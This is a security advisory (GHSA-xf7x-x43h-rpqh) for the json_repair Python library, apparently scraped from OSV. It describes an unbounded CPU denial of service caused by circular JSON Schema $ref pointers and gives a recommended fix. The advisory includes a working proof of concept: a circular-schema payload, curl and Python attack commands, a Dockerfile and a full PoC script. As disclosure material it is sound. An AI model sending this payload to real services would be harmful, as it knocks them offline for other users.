---
schema_version: '1.0'
id: security-20260714-fc7931
url: https://osv.dev/vulnerability/GHSA-xf7x-x43h-rpqh
url_hash: fc7931ba149fb6d8ed0f1ef72267519f3c7e87a7750e96c928b8fb4d0238abfa
canonical_url: https://osv.dev/vulnerability/GHSA-xf7x-x43h-rpqh
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- GHSA-xf7x-x43h-rpqh
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- json-repair
- PyPI
lang: en
published_at: '2026-07-13T23:41:39Z'
fetched_at: '2026-07-14T06:42:23Z'
updated_at: '2026-07-14T06:43:41Z'
status: published
content_hash: 5888dcbb85857a8b09355958ff1add207e0de7f5d5398b5d91b616e2a722035d
license_note: full
summary: 'json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS'
summary_source: rss
summary_en: 'json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS'
entities:
- name: JSON-LD
  type: method
key_facts: []
related: []
related_auto: []
title: 'GHSA-xf7x-x43h-rpqh: json_repair: Circular JSON Schema `$ref` causes unbounded
  CPU DoS'
---

# GHSA-xf7x-x43h-rpqh: json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS

## TL;DR
json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS

## Key Points
- cve / GHSA-xf7x-x43h-rpqh / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H / json-repair / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**Advisory:** GHSA-xf7x-x43h-rpqh

**Affected (your watchlist):**
- `PyPI:json-repair` 0.25.3 → fixed in 0.60.1 [docker/local+docker/mac]

**Details:**
## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`

### Summary

`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).

### Details

`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:

```python
# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
    ref = schema_dict["$ref"]
    resolved = self._resolve_ref(ref)
    if isinstance(resolved, bool):
        return resolved
    schema_dict = resolved
```

`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:

```json
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
```

`_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates.

The vulnerable sink is reachable without authentication through the demo Flask API:

```python
# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
    raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
    loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)
```

The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:

1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.
2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.
3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.
4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.
5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.
6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink).
7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.

**Recommended fix:**

```diff
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
     def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
         ...
-        schema_dict = cast("dict[str, Any]", schema)
+        schema_dict = cast("dict[str, Any]", schema)
+        seen_schema_ids: set[int] = set()
         while "$ref" in schema_dict:
             ref = schema_dict["$ref"]
+            if not isinstance(ref, str):
+                raise SchemaDefinitionError("$ref must be a string.")
+            schema_id = id(schema_dict)
+            if schema_id in seen_schema_ids:
+                raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+            seen_schema_ids.add(schema_id)
             resolved = self._resolve_ref(ref)
             if isinstance(resolved, bool):
                 return resolved
             schema_dict = resolved
         return schema_dict
```

### PoC

**Environment setup:**

```bash
# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7

# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/

# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
```

**Alternatively, use the provided Docker image:**

```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
    pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```

```bash
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
```

**HTTP attack request (demo API):**

```bash
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
  -H 'Content-Type: application/json' \
  --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124
```

**Direct library attack:**

```bash
timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124
```

**Observed results (from Docker-based dynamic reproduction):**

- Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**.
- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.

### Impact

This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.

Beyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
FROM python:3.11-slim

WORKDIR /app

# Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/

# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
        flask \
        flask-cors \
        jsonschema \
        pydantic && \
    pip install --no-cache-dir -e /app/repo/

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition

Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink:     src/json_repair/schema_repair.py:185
          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.

Attack schema:
    {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.

Verdict logic:
  - Baseline (valid schema) must complete in < TIMEOUT seconds.
  - Attack (circular $ref) must still be running at TIMEOUT seconds.
  Both conditions together constitute deterministic proof of the vulnerability.
"""

import os
import subprocess
import sys
import tempfile
import time

# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5

CIRCULAR_SCHEMA = {
    "$ref": "#/definitions/a",
    "definitions": {
        "a": {"$ref": "#/definitions/a"}
    }
}

NORMAL_SCHEMA = {
    "type": "object",
    "properties": {
        "name": {"type": "string"}
    }
}

_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""


def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
    """
    Run json_repair loads() with the given schema in an isolated subprocess.

    Returns:
        timed_out (bool): True if the process was still running at `timeout` seconds.
        elapsed (float): Wall-clock seconds until completion or kill.
        output (str): stdout/stderr excerpt.
    """
    script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))

    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
        fh.write(script_content)
        script_path = fh.name

    start = time.monotonic()
    try:
        proc = subprocess.run(
            [sys.executable, script_path],
            timeout=timeout,
            capture_output=True,
            text=True,
        )
        elapsed = time.monotonic() - start
        output = (proc.stdout.strip() or proc.stderr.strip())[:400]
        return False, elapsed, output
    except subprocess.TimeoutExpired:
        elapsed = time.monotonic() - start
        return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
    finally:
        os.unlink(script_path)


def main() -> int:
    print("=" * 64)
    print("VULN-001 PoC: Circular $ref JSON Schema DoS")
    print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
    print("=" * 64)

    # --- Test 1: baseline (must complete quickly) ---
    print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
    timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
        NORMAL_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_baseline:
        print(f"  UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
        baseline_ok = False
    else:
        print(f"  COMPLETED in {elapsed_baseline:.3f}s  ->  {output_baseline}")
        baseline_ok = True

    # --- Test 2: circular $ref attack (must time out) ---
    print(
        f"\n[TEST 2] Attack — circular $ref schema"
        f" (expect hang > {TIMEOUT_SECONDS}s)"
    )
    print(f"  Schema: {CIRCULAR_SCHEMA}")
    timed_out_attack, elapsed_attack, output_attack = run_schema_test(
        CIRCULAR_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_attack:
        print(
            f"  TIMED OUT after {elapsed_attack:.2f}s "
            f"— infinite loop CONFIRMED (VULNERABLE)"
        )
        attack_confirmed = True
    else:
        print(
            f"  Completed in {elapsed_attack:.3f}s  ->  {output_attack}"
            f"\n  (patched or not triggered — check installation)"
        )
        attack_confirmed = False

    # --- Summary ---
    print("\n" + "=" * 64)
    if baseline_ok and attack_confirmed:
        print("VERDICT: PASS")
        print("  Normal schema  : returned in under 1 s")
        print(f"  Circular $ref  : still running after {TIMEOUT_SECONDS}s (killed)")
        print("  Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
        return 0
    elif not attack_confirmed:
        print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
        print("  The library may already be patched in this build.")
        return 2
    else:
        print("VERDICT: FAIL — baseline test failed; check the environment")
        return 3


if __name__ == "__main__":
    sys.exit(main())
```

**References:**
- https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh
- https://github.com/mangiucugna/json_repair
- https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-xf7x-x43h-rpqh_

## Source
元記事: [GHSA-xf7x-x43h-rpqh: json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS](https://osv.dev/vulnerability/GHSA-xf7x-x43h-rpqh) — published 2026-07-13T23:41:39Z
